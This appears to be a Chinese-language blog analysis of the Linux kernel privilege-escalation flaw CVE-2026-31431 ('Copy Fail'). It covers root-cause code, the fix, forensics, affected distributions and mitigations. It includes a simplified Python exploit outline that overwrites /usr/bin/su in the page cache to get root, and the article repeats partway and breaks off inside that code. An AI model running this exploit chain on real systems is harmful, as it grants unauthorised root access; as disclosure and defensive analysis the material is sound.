TL;DR— Linux 内核加密子系统的一行sg_chain()调用让 page cache 页被放进了可写的 scatterlist。任何普通用户通过splice()AF_ALG就能精准覆盖 setuid 二进制的内存映像5 秒 root。潜伏 9 年影响 2017 年以来几乎所有主流发行版。1. 漏洞身份证字段值CVEhttps://nvd.nist.gov/vuln/detail/CVE-2026-31431代号Copy Fail类型本地权限提升LPECVSS 3.17.8 HighAV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H引入 commithttps://github.com/torvalds/linux/commit/72548b093ee32017修复 commithttps://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a52026-04-01披露者https://xint.io/blog/copy-fail-linux-distributions 研究员 Taeyang LeePoC732 字节纯 Python100% 可靠零依赖官方披露站https://copy.fail/PoC 仓库https://github.com/theori-io/copy-fail-CVE-2026-31431Microsoft 分析https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation2. 时间线三个独立决策的交叉火力这个漏洞不是一次失误而是三次合理改动在 9 年间逐渐交汇形成的致命组合2011 ─── authencesn 加入内核commit a5079d084f8b └─ 为 IPsec ESN 设计使用 dst 作为 scratch buffer └─ 当时 AF_ALG 不存在无外部暴露面 └─ ✓ 安全 2015 ─── AF_ALG 获得 AEAD splice 支持commit 104880a6b470 └─ splice() 可以将 page cache 页送入 crypto scatterlist └─ 但此时是 out-of-placesrc ≠ dstpage cache 在只读端 └─ authencesn 的 scratch write 写入 dst用户 buffer └─ ✓ 安全 2017 ─── algif_aead 引入 in-place 优化commit 72548b093ee3 └─ 解密时AAD||CT 被 memcpy 到 RX buffer └─ Tag 页通过 sg_chain() 直接链入 dst scatterlist └─ req-src req-dst └─ ⚠️ page cache 页现在出现在 WRITABLE scatterlist 中 └─ 漏洞诞生但无人察觉 2026 ─── 漏洞生命周期 03-23 Taeyang Lee 上报内核安全团队 03-24 初步确认 03-25 补丁提出并审查 04-01 commit a664bf3d603d 合入 mainline 04-22 CVE-2026-31431 分配 04-29 公开披露 PoC 放出教训每个 commit 单独审计都合理——authencesn内部用 scratch 没问题、splice()零拷贝没问题、in-place 加密优化没问题。但三者交汇时page cache 的完整性假设被悄悄打破了。3. 根因分析Page Cache 页是怎么被放进可写 Scatterlist 的背景知识速查概念作用AF_ALG让用户态通过 socket 调用内核 crypto 算法的接口无需特权splice()零拷贝系统调用——在 fd 之间传递数据传的是 page 引用而非副本scatterlist内核描述物理内存分段的链表crypto API 用它指向输入/输出 bufferpage cache内核为文件 I/O 缓存的内存页所有进程共享同一份authencesnAEAD 封装器为 IPsec ESP 实现 64-bit ESN 支持sg_chain()将一个 scatterlist 链接到另一个的末尾形成链式结构2017 年那段致命代码commit 72548b093ee3 的核心改动是让 AEAD 解密走in-place路径。以下是引入漏洞的关键代码// 文件crypto/algif_aead.c — _aead_recvmsg() 解密路径 // commit 72548b093ee3 引入的代码 /* * Decryption operation - To achieve an in-place cipher * operation, the following SGL structure is used: * * TX SGL: AAD || CT || Tag * | | ^ * | copy | | Create SGL link. * v v | * RX SGL: AAD || CT ---- */ /* Step 1: 把 AAD 和密文从 TX 拷贝到 RX buffer */ memcpy_sglist(areq-first_rsgl.sgl.sgt.sgl, tsgl_src, outlen); /* Step 2: 为 Tag 创建独立的 scatterlist */ areq-tsgl_entries af_alg_count_tsgl(sk, processed, processed - as); if (!areq-tsgl_entries) areq-tsgl_entries 1; areq-tsgl sock_kmalloc(sk, array_size(sizeof(*areq-tsgl), areq-tsgl_entries), GFP_KERNEL); sg_init_table(areq-tsgl, areq-tsgl_entries); /* Step 3: 释放 TX SGL但保留 Tag 数据的页引用 */ af_alg_pull_tsgl(sk, processed, areq-tsgl, processed - as); // ↑ 这些页来自 splice()即目标文件的 page cache /* Step 4: ⚠️ 致命操作 — 将 Tag 页链入 RX可写SGL */ if (usedpages) { struct af_alg_sgl *sgl_prev areq-last_rsgl-sgl; struct scatterlist *sg sgl_prev-sgt.sgl; sg_unmark_end(sg sgl_prev-sgt.nents - 1); sg_chain(sg, sgl_prev-sgt.nents 1, areq-tsgl); // 漏洞本体 /* * 这一行把持有 page cache 页的 tsgl 链进了 dst scatterlist * 后续任何对 dst 的写操作都可能命中这些页 */ } /* Step 5: 设置 crypto 请求 — src 和 dst 指向同一个 SGL */ aead_request_set_crypt(areq-cra_u.aead_req, rsgl_src, // src RX SGL areq-first_rsgl.sgl.sgt.sgl, // dst RX SGL同一个 used, ctx-iv); // req-src req-dst, page cache 页在可写路径中内存布局图解┌─────────────────────────────────────────────────────────────────┐ │ splice() 将 /usr/bin/su 的 page cache 页送入 TX SGL: │ │ TX SGL: [ AAD (用户构造) ] [ CT (文件数据) ] [ Tag (文件尾部) ] │ ↑ │ 这些页 page cache 引用 │ 指向内核缓存的 /usr/bin/su └─────────────────────────────────────────────────────────────────┘ │ │ │ memcpy (真正的数据拷贝) │ sg_chain (仅链接引用!) ▼ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ RX SGL (req-dst): │ │ [ AAD (副本) ] [ CT (副本) ] ──sg_chain──→ [ Tag (PAGE CACHE!) ] │ ├─── 用户态 recvmsg buffer ──┤ ├─ 文件 page cache ─┤ │ │ (可写正常) │ │ (可写危险!) │ │ req-src ─┐ │ ├──→ 指向这整条链 │ req-dst ─┘ └─────────────────────────────────────────────────────────────────┘4. 触发者authencesn 的越界涂鸦Page cache 页在可写 scatterlist 里了但如果没人真的去写漏洞也不会触发。问题是——authencesn确实会写而且写的位置恰好越界。authencesn 的 ESN 字节重排逻辑authencesn是为 IPsec ESP 设计的 AEAD 封装器用于支持 64-bit Extended Sequence NumberESN。它需要在 HMAC 计算前重排序列号字节// 文件crypto/authencesn.c — crypto_authenc_esn_decrypt() // 这段代码从 2011 年就存在commit a5079d084f8b unsignedint tmp[2]; // tmp[0] seqno_hi, tmp[1] seqno_lo /* 第 1 步从 dst 的 AAD 区域读取 8 字节 * AAD 布局: [ seqno_hi (4B) | seqno_lo (4B) | ... ] * 读取 bytes[0:8] → tmp[0]seqno_hi, tmp[1]seqno_lo */ scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // 0 READ /* 第 2 步将 seqno_hi 写入 dst[4..7] * 这是临时操作用于 HMAC 计算 * 写入位置在 AAD 区域内属于用户 buffer安全 */ scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // 1 WRITE (AAD 区域, 安全) /* 第 3 步 将 seqno_lo 写入 dst[assoclen cryptlen] * * 目的把 seqno_lo 暂存到 Tag 之后的空间 * 假设这块空间是 caller 的 buffer用完可以丢弃 * * 但在 AF_ALG in-place 路径中 * dst[assoclen cryptlen] 落在被 sg_chain 链入的 Tag 页上 * 而 Tag 页 目标文件的 page cache * * scatterwalk 会沿着 scatterlist 链走过去 * 调用 kmap_local_page() 映射 page cache 页 * 然后直接写入 4 字节 */ scatterwalk_map_and_copy(tmp 1, dst, assoclen cryptlen, 4, 1); // BOOM // ↑ ↑ ↑ // seqno_lo 写入偏移越过 Tag 边界 1WRITE // (攻击者控制) (落在 page cache 上!) /* 之后 * - HMAC 计算会失败ciphertext 是伪造的 * - recvmsg() 返回 -EBADMSG * - 但 4 字节已经永久写入 page cache不会被恢复 * - crypto_authenc_esn_decrypt_tail() 读回 seqno_lo 用于恢复 AAD * 但它从不恢复 dst[assoclencryptlen] 位置的原始内容 */核心问题authencesn假设dst[assoclen cryptlen]是可消耗的 scratch 空间。在 IPsec 内核内部调用时确实如此。但在 AF_ALG splice in-place 路径中这个位置是别人的 page cache 页攻击者的三重控制控制维度实现方式原理写哪个文件splice(target_fd, ...)任何当前用户可读的文件写哪个偏移调整assoclen splice offset splice length精确计算使dst[assoclencryptlen]落在目标字节写什么值构造sendmsg的 AAD bytes[4:8]即seqno_lo被scatterwalk_map_and_copy写入攻击者构造的 AAD通过 sendmsg 发送: ┌────────────────────────────────────┐ │ bytes[0:4] │ bytes[4:8] │ │ seqno_hi │ seqno_lo │ ← 这 4 字节是要写入的 payload │ (任意) │ (shellcode片段) │ └────────────────────────────────────┘ │ scatterwalk_map_and_copy(tmp1, dst, assoclencryptlen, 4, WRITE) │ ▼ /usr/bin/su page cache 中 .text 段的某 4 字节被覆写为 shellcode 片段5. 完整利用链从 Socket 到 Root Shell#!/usr/bin/env python3 # Copy Fail PoC 核心逻辑还原简化版 # 实际 PoC 仅 732 字节使用 os/socket/zlib 标准库 import os, socket, struct # ═══════════════════════════════════════════════════════════════ # Step 1: 创建 AF_ALG AEAD socket # AF_ALG 38, SOCK_SEQPACKET 5 # 任何普通用户都可以调用无需任何特权 # ═══════════════════════════════════════════════════════════════ alg socket.socket(38, 5, 0) alg.bind((aead, authencesn(hmac(sha256),cbc(aes)))) # ↑ 选择 authencesn 算法模板 # 这是唯一一个会越界写的 AEAD 算法 # 设置加密密钥ALG_SET_KEY 1, SOL_ALG 279 alg.setsockopt(279, 1, key_bytes) req_fd, _ alg.accept() # 获取请求 socket # ═══════════════════════════════════════════════════════════════ # Step 2: 打开目标 setuid 二进制 # /usr/bin/su 是 setuid-root任何用户可读 # ═══════════════════════════════════════════════════════════════ target_fd os.open(/usr/bin/su, os.O_RDONLY) # ═══════════════════════════════════════════════════════════════ # Step 3: 逐 4 字节写入 shellcode 到 page cache # 每次循环覆写目标文件 .text 段中的 4 个字节 # ═══════════════════════════════════════════════════════════════ for offset, chunk in shellcode_chunks: # 构造 AAD: bytes[4:8] 要写入 page cache 的 4 字节 aad b\x00\x00\x00\x00 chunk # seqno_hi seqno_lo(payload) # 构造 CMSG 头设置 assoclen 和 IV cmsg_assoclen (279, 4, struct.pack(I, assoclen)) cmsg_iv (279, 2, iv_bytes) # sendmsg: 提供 AAD 伪造的 ciphertext req_fd.sendmsg( [aad fake_ciphertext], [cmsg_assoclen, cmsg_iv], socket.MSG_MORE # 告诉内核还有更多数据splice ) # splice: 将目标文件的 page cache 页注入 TX SGL # 这一步让内核的 scatterlist 直接引用文件的缓存页 pipe_r, pipe_w os.pipe() os.splice(target_fd, pipe_w, splice_len, offsetfile_offset) os.splice(pipe_r, req_fd.fileno(), splice_len) # recv 触发解密操作 # → 内核调用 crypto_authenc_esn_decrypt() # → scatterwalk_map_and_copy 写 4 字节到 page cache # → HMAC 校验失败返回 -EBADMSG # → 但 4 字节已经写入无法撤销 try: req_fd.recv(recv_len) except OSError: pass# 预期的错误page cache 已被修改 # ═══════════════════════════════════════════════════════════════ # Step 4: 执行被篡改的 setuid 二进制 → ROOT! # execve 从 page cache 加载二进制不是磁盘 # page cache 中的 /usr/bin/su 已包含 shellcode # 因为 su 是 setuid-rootshellcode 以 UID 0 运行 # ═══════════════════════════════════════════════════════════════ os.execve(/usr/bin/su, [su], os.environ) # → root shell关键特性HMAC 校验必然失败ciphertext 是伪造的recvmsg()返回错误但authencesn的 scratch write 在 HMAC 计算之前就已发生Page cache 一旦被修改不会被标记为 dirty——内核认为没人写过文件execve()加载二进制时读的是 page cache → 执行被篡改版本磁盘上的文件完好无损——sha256sum /usr/bin/su不会报错整条链路无竞态、无重试、无 crash、100% 确定性6. 修复 Commit 解剖Herbert Xu内核 crypto maintainer的修复 a664bf3d603d 非常干脆——彻底回退 in-place 优化让 src 和 dst 分离// 文件crypto/algif_aead.c — _aead_recvmsg() // 修复后的代码commit a664bf3d603d /* 创建独立的 TX SGL — 完整包含所有 splice 进来的页 */ processed used ctx-aead_assoclen; areq-tsgl_entries af_alg_count_tsgl(sk, processed); if (!areq-tsgl_entries) areq-tsgl_entries 1; areq-tsgl sock_kmalloc(sk, array_size(sizeof(*areq-tsgl), areq-tsgl_entries), GFP_KERNEL); if (!areq-tsgl) { err -ENOMEM; gotofree; } sg_init_table(areq-tsgl, areq-tsgl_entries); af_alg_pull_tsgl(sk, processed, areq-tsgl); tsgl_src areq-tsgl; /* 只拷贝 AAD 部分到 RX buffer不再拷贝整个 CT Tag*/ rsgl_src areq-first_rsgl.sgl.sgt.sgl; memcpy_sglist(rsgl_src, tsgl_src, ctx-aead_assoclen); // ✅ 只拷贝 AAD /* ✅ 关键修复src 和 dst 分离 */ aead_request_set_crypt(areq-cra_u.aead_req, tsgl_src, // src TX SGL含 page cache 页只读 areq-first_rsgl.sgl.sgt.sgl, // dst RX SGL用户 buffer可写 used, ctx-iv); // req-src ≠ req-dst // authencesn 写 dst → 写的是用户 buffer → page cache 安全Commit message 一句话点明根因There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings.修复前后内存布局对比┌─── 修复前in-place— 危险 ❌ ──────────────────────────────────┐ │ │ req-src ──┐ │ ├──→ [AAD||CT (user buf)] ──sg_chain──→ [Tag (PAGE CACHE)] │ req-dst ──┘ ↑ │ authencesn 写这里 │ → page cache 被篡改 └────────────────────────────────────────────────────────────────────┘ ┌─── 修复后out-of-place— 安全 ✅ ────────────────────────────────┐ │ │ req-src ──→ TX SGL [AAD||CT||Tag (page cache)] ← 只读路径 │ 不会被写入 │ │ req-dst ──→ RX SGL [user buffer] ← 可写但安全 │ ↑ authencesn 写这里 │ → 写的是用户自己的 buffer无害 └──────────────────────────────────────────────────────────────────────┘Diff 统计删除 70 行新增 25 行。整个sg_chain()机制和加解密分路的 in-place 逻辑全部移除。7. 为什么这么隐蔽取证噩梦隐蔽维度原因磁盘文件不变写入的是 page cache内存writeback 不会把 corrupted page 刷回磁盘校验和不报警rpm -V、debsums、AIDE 都比对磁盘内容 → 看不出问题无竞态直线逻辑不需要 race → 不会留下异常 crash 日志无内核日志recvmsg()返回-EBADMSGHMAC 失败→ 正常错误码跨容器Page cache 是宿主机级别共享 → 容器 A 的写入对容器 B 可见重启自愈重启后 page cache 清空文件从磁盘重新加载 →证据消失一个攻击者可以在不留下任何持久痕迹的情况下拿到 root执行操作后重启机器一切恢复原样。这是取证噩梦。8. 影响范围你的系统在不在名单上研究员实测验证发行版内核版本状态Ubuntu 24.04 LTS6.17.0-1007-aws❌ 受影响Amazon Linux 20236.18.8-9.213.amzn2023❌ 受影响RHEL 10.16.12.0-124.45.1.el10_1❌ 受影响SUSE 166.12.0-160000.9-default❌ 受影响Debian / Arch / Fedora / Rocky / Alma / Oracle Linux—❌ 全部受影响Ubuntu 16.04 / 14.04—✅ 太老反而安全自检命令# 1. 检查内核版本 uname -r # 2. 检查 algif_aead 是否编译进内核 zcat /proc/config.gz 2/dev/null | grep CONFIG_CRYPTO_USER_API_AEAD # 或 grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r) # 3. 检查模块是否已加载 lsmod | grep algif_aead # 4. 检查 authencesn 是否可用 cat /proc/crypto | grep -i name.*authencesn # 如果输出 CONFIG_CRYPTO_USER_API_AEADy 或 m → 你受影响高危场景速查表风险等级场景后果 极高多租户主机、共享开发机、跳板机任意用户变 root 极高Kubernetes / 容器集群跨容器、跨租户提权page cache 共享 极高CI/CD 构建机GitHub Actions / GitLab Runner / JenkinsPR 代码可以拿到构建机 root 极高云 SaaS 用户代码沙箱、Notebook 主机租户变宿主机 root 中等单租户生产服务器配合 Web RCE 实现完整链 较低单用户开发笔记本仍能本地提权但风险面小9. 修复方案方案 A升级内核首选确保内核包含修复 commit a664bf3d603d# Ubuntu / Debian sudo apt update sudo apt upgrade -y linux-image-generic sudo reboot # RHEL / Rocky / Alma / CentOS sudo dnf update kernel sudo reboot # Arch sudo pacman -Syu linux sudo reboot # Fedora sudo dnf upgrade --refresh kernel sudo reboot方案 B禁用模块紧急缓解无需重启# 立即卸载模块 sudo rmmod algif_aead 2/dev/null # 永久阻止加载 echo install algif_aead /bin/false | \ sudo tee /etc/modprobe.d/disable-algif-aead.conf # 验证 lsmod | grep algif # 应无输出⚠️副作用如果你的系统有使用 AF_ALG AEAD 的应用某些 IPsec userspace 工具、dm-crypt 配置禁用后可能功能异常。先确认无应用依赖再禁用。方案 CSeccomp 拦截容器场景{ names: [socket], action: SCMP_ACT_ERRNO, errnoRet: 1, args: [ {index: 0, value: 38, op: SCMP_CMP_EQ} ] }AF_ALG 38直接在 seccomp profile 中禁止创建该类型 socket。Kubernetes 中通过securityContext.seccompProfile配置。10. 与历史 LPE 漏洞对比维度Dirty COW (2016)Dirty Pipe (2022)Copy Fail (2026)CVECVE-2016-5195CVE-2022-0847CVE-2026-31431原语COW race → 写只读映射pipe splice → 写任意文件AEAD scratch → 写 page cache可靠性需要 race~90%版本敏感100% 确定性所需知识内核偏移/版本pipe 内部状态无PoC 大小~3KB C~1KB C732B Python容器逃逸❌有限✅ 完整磁盘痕迹磁盘被修改磁盘被修改磁盘不变潜伏年数9 年1 年9 年Copy Fail 在可靠性、隐蔽性、易用性上都是全面升级。11. 为什么 9 年没人发现1. 代码路径冷门algif_aeadspliceauthencesn这条组合路径在正常使用中几乎不会被触发。IPsec 用户态很少通过 AF_ALG 走 authencesn。2. 每段代码单独看都正确authencesn用 dst 做 scratch → 在 IPsec 内部调用时完全合法splice()送 page cache 页 → 零拷贝设计正确sg_chain()链入 tag 页 → 内存管理角度没错3. API contract 是隐式的AEAD API没有文档说算法不能写超出assoclen cryptlen的区域。这是一个未写明的假设。GCM、CCM、普通 authenc 都遵守了这个潜规则只有 authencesn 打破了它。4. Fuzzer 的盲区syzkaller 能生成 AF_ALG 请求但难以构造出精确触发 authencesn scratch write 验证 page cache 被修改的测试用例。传统 fuzzer 关注 crash而这个漏洞不会 crash。5. AI 辅助研究改变了游戏规则Xint Code 团队在https://xint.io/blog/copy-fail-linux-distributions中明确表示研究员提供了攻击面洞察splice() can deliver page-cache references of read-only files (including setuid binaries) to crypto TX scatterlists.AI 工具在整个 crypto 子系统中系统化扫描约1 小时后定位到这个最高危的交叉点。过去需要数月人工审计的工作效率提升了数个数量级。12. 关键链接汇总资源链接官方披露站https://copy.fail/Xint 深度分析https://xint.io/blog/copy-fail-linux-distributionsPoC 仓库https://github.com/theori-io/copy-fail-CVE-2026-31431引入漏洞 commithttps://github.com/torvalds/linux/commit/72548b093ee3 2017修复 commithttps://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5 2026-04-01authencesn 原始 commithttps://github.com/torvalds/linux/commit/a5079d084f8b 2011authencesn 新接口转换https://github.com/torvalds/linux/commit/104880a6b470 2015NVD 详情https://nvd.nist.gov/vuln/detail/CVE-2026-31431Ubuntu 安全通告https://ubuntu.com/security/CVE-2026-31431Ubuntu 修复讨论https://discourse.ubuntu.com/t/fixes-available-for-cve-2026-31431-copy-fail-linux-kernel-local-privilege-escalation-vulnerability/81498Microsoft 安全博客https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalationPalo Alto Unit42https://unit42.paloaltonetworks.com/cve-2026-31431-copy-fail/oss-security 邮件列表https://seclists.org/oss-sec/2026/q2/281Hacker News 讨论https://news.ycombinator.com/item?id4795218113. 结语Copy Fail 是一个教科书级别的组合漏洞——没有任何单一模块有 bugbug 存在于三个子系统的交互界面上。它提醒我们隐式 API contract 是定时炸弹— 如果 AEAD API 明确约束算法不能写超出 output boundary这个漏洞在 2011 年就不会被引入。零拷贝优化需要审计数据来源—splice()让内核数据结构持有 page cache 引用任何后续写路径都可能造成跨权限污染。Page cache 是全局共享的— 这不仅是 LPE更是容器逃逸原语。在 K8s 环境中Pod → Node → 整个集群。AI 正在改变漏洞研究效率— 过去需要数月人工审计的交叉引用分析现在可以在小时级完成。你的行动清单检查内核版本 → 确认algif_aead状态 → 升级或缓解 → 检查 CI/CD runner 和容器集群。5 分钟自查可能救你一次 root 被拿的事故。
这个内核 bug 潜伏了 9 年。
TL;DR— Linux 内核加密子系统的一行sg_chain()调用让 page cache 页被放进了可写的 scatterlist。任何普通用户通过splice()AF_ALG就能精准覆盖 setuid 二进制的内存映像5 秒 root。潜伏 9 年影响 2017 年以来几乎所有主流发行版。1. 漏洞身份证字段值CVEhttps://nvd.nist.gov/vuln/detail/CVE-2026-31431代号Copy Fail类型本地权限提升LPECVSS 3.17.8 HighAV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H引入 commithttps://github.com/torvalds/linux/commit/72548b093ee32017修复 commithttps://github.com/torvalds/linux/commit/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a52026-04-01披露者https://xint.io/blog/copy-fail-linux-distributions 研究员 Taeyang LeePoC732 字节纯 Python100% 可靠零依赖官方披露站https://copy.fail/PoC 仓库https://github.com/theori-io/copy-fail-CVE-2026-31431Microsoft 分析https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation2. 时间线三个独立决策的交叉火力这个漏洞不是一次失误而是三次合理改动在 9 年间逐渐交汇形成的致命组合2011 ─── authencesn 加入内核commit a5079d084f8b └─ 为 IPsec ESN 设计使用 dst 作为 scratch buffer └─ 当时 AF_ALG 不存在无外部暴露面 └─ ✓ 安全 2015 ─── AF_ALG 获得 AEAD splice 支持commit 104880a6b470 └─ splice() 可以将 page cache 页送入 crypto scatterlist └─ 但此时是 out-of-placesrc ≠ dstpage cache 在只读端 └─ authencesn 的 scratch write 写入 dst用户 buffer └─ ✓ 安全 2017 ─── algif_aead 引入 in-place 优化commit 72548b093ee3 └─ 解密时AAD||CT 被 memcpy 到 RX buffer └─ Tag 页通过 sg_chain() 直接链入 dst scatterlist └─ req-src req-dst └─ ⚠️ page cache 页现在出现在 WRITABLE scatterlist 中 └─ 漏洞诞生但无人察觉 2026 ─── 漏洞生命周期 03-23 Taeyang Lee 上报内核安全团队 03-24 初步确认 03-25 补丁提出并审查 04-01 commit a664bf3d603d 合入 mainline 04-22 CVE-2026-31431 分配 04-29 公开披露 PoC 放出教训每个 commit 单独审计都合理——authencesn内部用 scratch 没问题、splice()零拷贝没问题、in-place 加密优化没问题。但三者交汇时page cache 的完整性假设被悄悄打破了。3. 根因分析Page Cache 页是怎么被放进可写 Scatterlist 的背景知识速查概念作用AF_ALG让用户态通过 socket 调用内核 crypto 算法的接口无需特权splice()零拷贝系统调用——在 fd 之间传递数据传的是 page 引用而非副本scatterlist内核描述物理内存分段的链表crypto API 用它指向输入/输出 bufferpage cache内核为文件 I/O 缓存的内存页所有进程共享同一份authencesnAEAD 封装器为 IPsec ESP 实现 64-bit ESN 支持sg_chain()将一个 scatterlist 链接到另一个的末尾形成链式结构2017 年那段致命代码commit 72548b093ee3 的核心改动是让 AEAD 解密走in-place路径。以下是引入漏洞的关键代码// 文件crypto/algif_aead.c — _aead_recvmsg() 解密路径 // commit 72548b093ee3 引入的代码 /* * Decryption operation - To achieve an in-place cipher * operation, the following SGL structure is used: * * TX SGL: AAD || CT || Tag * | | ^ * | copy | | Create SGL link. * v v | * RX SGL: AAD || CT ---- */ /* Step 1: 把 AAD 和密文从 TX 拷贝到 RX buffer */ memcpy_sglist(areq-first_rsgl.sgl.sgt.sgl, tsgl_src, outlen); /* Step 2: 为 Tag 创建独立的 scatterlist */ areq-tsgl_entries af_alg_count_tsgl(sk, processed, processed - as); if (!areq-tsgl_entries) areq-tsgl_entries 1; areq-tsgl sock_kmalloc(sk, array_size(sizeof(*areq-tsgl), areq-tsgl_entries), GFP_KERNEL); sg_init_table(areq-tsgl, areq-tsgl_entries); /* Step 3: 释放 TX SGL但保留 Tag 数据的页引用 */ af_alg_pull_tsgl(sk, processed, areq-tsgl, processed - as); // ↑ 这些页来自 splice()即目标文件的 page cache /* Step 4: ⚠️ 致命操作 — 将 Tag 页链入 RX可写SGL */ if (usedpages) { struct af_alg_sgl *sgl_prev areq-last_rsgl-sgl; struct scatterlist *sg sgl_prev-sgt.sgl; sg_unmark_end(sg sgl_prev-sgt.nents - 1); sg_chain(sg, sgl_prev-sgt.nents 1, areq-tsgl); // 漏洞本体 /* * 这一行把持有 page cache 页的 tsgl 链进了 dst scatterlist * 后续任何对 dst 的写操作都可能命中这些页 */ } /* Step 5: 设置 crypto 请求 — src 和 dst 指向同一个 SGL */ aead_request_set_crypt(areq-cra_u.aead_req, rsgl_src, // src RX SGL areq-first_rsgl.sgl.sgt.sgl, // dst RX SGL同一个 used, ctx-iv); // req-src req-dst, page cache 页在可写路径中内存布局图解┌─────────────────────────────────────────────────────────────────┐ │ splice() 将 /usr/bin/su 的 page cache 页送入 TX SGL: │ │ TX SGL: [ AAD (用户构造) ] [ CT (文件数据) ] [ Tag (文件尾部) ] │ ↑ │ 这些页 page cache 引用 │ 指向内核缓存的 /usr/bin/su └─────────────────────────────────────────────────────────────────┘ │ │ │ memcpy (真正的数据拷贝) │ sg_chain (仅链接引用!) ▼ ▼ ┌─────────────────────────────────────────────────────────────────┐ │ RX SGL (req-dst): │ │ [ AAD (副本) ] [ CT (副本) ] ──sg_chain──→ [ Tag (PAGE CACHE!) ] │ ├─── 用户态 recvmsg buffer ──┤ ├─ 文件 page cache ─┤ │ │ (可写正常) │ │ (可写危险!) │ │ req-src ─┐ │ ├──→ 指向这整条链 │ req-dst ─┘ └─────────────────────────────────────────────────────────────────┘4. 触发者authencesn 的越界涂鸦Page cache 页在可写 scatterlist 里了但如果没人真的去写漏洞也不会触发。问题是——authencesn确实会写而且写的位置恰好越界。authencesn 的 ESN 字节重排逻辑authencesn是为 IPsec ESP 设计的 AEAD 封装器用于支持 64-bit Extended Sequence NumberESN。它需要在 HMAC 计算前重排序列号字节// 文件crypto/authencesn.c — crypto_authenc_esn_decrypt() // 这段代码从 2011 年就存在commit a5079d084f8b unsignedint tmp[2]; // tmp[0] seqno_hi, tmp[1] seqno_lo /* 第 1 步从 dst 的 AAD 区域读取 8 字节 * AAD 布局: [ seqno_hi (4B) | seqno_lo (4B) | ... ] * 读取 bytes[0:8] → tmp[0]seqno_hi, tmp[1]seqno_lo */ scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // 0 READ /* 第 2 步将 seqno_hi 写入 dst[4..7] * 这是临时操作用于 HMAC 计算 * 写入位置在 AAD 区域内属于用户 buffer安全 */ scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // 1 WRITE (AAD 区域, 安全) /* 第 3 步 将 seqno_lo 写入 dst[assoclen cryptlen] * * 目的把 seqno_lo 暂存到 Tag 之后的空间 * 假设这块空间是 caller 的 buffer用完可以丢弃 * * 但在 AF_ALG in-place 路径中 * dst[assoclen cryptlen] 落在被 sg_chain 链入的 Tag 页上 * 而 Tag 页 目标文件的 page cache * * scatterwalk 会沿着 scatterlist 链走过去 * 调用 kmap_local_page() 映射 page cache 页 * 然后直接写入 4 字节 */ scatterwalk_map_and_copy(tmp 1, dst, assoclen cryptlen, 4, 1); // BOOM // ↑ ↑ ↑ // seqno_lo 写入偏移越过 Tag 边界 1WRITE // (攻击者控制) (落在 page cache 上!) /* 之后 * - HMAC 计算会失败ciphertext 是伪造的 * - recvmsg() 返回 -EBADMSG * - 但 4 字节已经永久写入 page cache不会被恢复 * - crypto_authenc_esn_decrypt_tail() 读回 seqno_lo 用于恢复 AAD * 但它从不恢复 dst[assoclencryptlen] 位置的原始内容 */核心问题authencesn假设dst[assoclen cryptlen]是可消耗的 scratch 空间。在 IPsec 内核内部调用时确实如此。但在 AF_ALG splice in-place 路径中这个位置是别人的 page cache 页攻击者的三重控制控制维度实现方式原理写哪个文件splice(target_fd, ...)任何当前用户可读的文件写哪个偏移调整assoclen splice offset splice length精确计算使dst[assoclencryptlen]落在目标字节写什么值构造sendmsg的 AAD bytes[4:8]即seqno_lo被scatterwalk_map_and_copy写入攻击者构造的 AAD通过 sendmsg 发送: ┌────────────────────────────────────┐ │ bytes[0:4] │ bytes[4:8] │ │ seqno_hi │ seqno_lo │ ← 这 4 字节是要写入的 payload │ (任意) │ (shellcode片段) │ └────────────────────────────────────┘ │ scatterwalk_map_and_copy(tmp1, dst, assoclencryptlen, 4, WRITE) │ ▼ /usr/bin/su page cache 中 .text 段的某 4 字节被覆写为 shellcode 片段5. 完整利用链从 Socket 到 Root Shell#!/usr/bin/env python3 # Copy Fail PoC 核心逻辑还原简化版 # 实际 PoC 仅 732 字节使用 os/socket/zlib 标准库 import os, socket, struct # ═══════════════════════════════════════════════════════════════ # Step 1: 创建 AF_ALG AEAD socket # AF_ALG 38, SOCK_SEQPACKET 5 # 任何普通用户都可以调用无需任何特权 # ═══════════════════════════════════════════════════════════════ alg socket.socket(38, 5, 0) alg.bind((aead, authencesn(hmac(sha256),cbc(aes)))) # ↑ 选择 authencesn 算法模板 # 这是唯一一个会越界写的 AEAD 算法 # 设置加密密钥ALG_SET_KEY 1, SOL_ALG 279 alg.setsockopt(279, 1, key_bytes) req_fd, _ alg.accept() # 获取请求 socket # ═══════════════════════════════════════════════════════════════ # Step 2: 打开目标 setuid 二进制 # /usr/bin/su 是 setuid-root任何用户可读 # ═══════════════════════════════════════════════════════════════ target_fd os.open(/usr/bin/su, os.O_RDONLY) # ═══════════════════════════════════════════════════════════════ # Step 3: 逐 4 字节写入 shellcode 到 page cache # 每次循环覆写目标文件 .text 段中的 4 个字节 # ═══════════════════════════════════════════════════════════════ for offset, chunk in shellcode_chunks: # 构造 AAD: bytes[4:8] 要写入 page cache 的 4 字节 aad b\x00\x00\x00\x00 chunk # seqno_hi seqno_lo(payload) # 构造 CMSG 头设置 assoclen 和 IV cmsg_assoclen (279, 4, struct.pack(I, assoclen)) cmsg_iv (279, 2, iv_bytes) # sendmsg: 提供 AAD 伪造的 ciphertext req_fd.sendmsg( [aad fake_ciphertext], [cmsg_assoclen, cmsg_iv], socket.MSG_MORE # 告诉内核还有更多数据splice ) # splice: 将目标文件的 page cache 页注入 TX SGL # 这一步让内核的 scatterlist 直接引用文件的缓存页 pipe_r, pipe_w os.pipe() os.splice(target_fd, pipe_w, splice_len, offsetfile_offset) os.splice(pipe_r, req_fd.fileno(), splice_len) # recv 触发解密操作 # → 内核调用 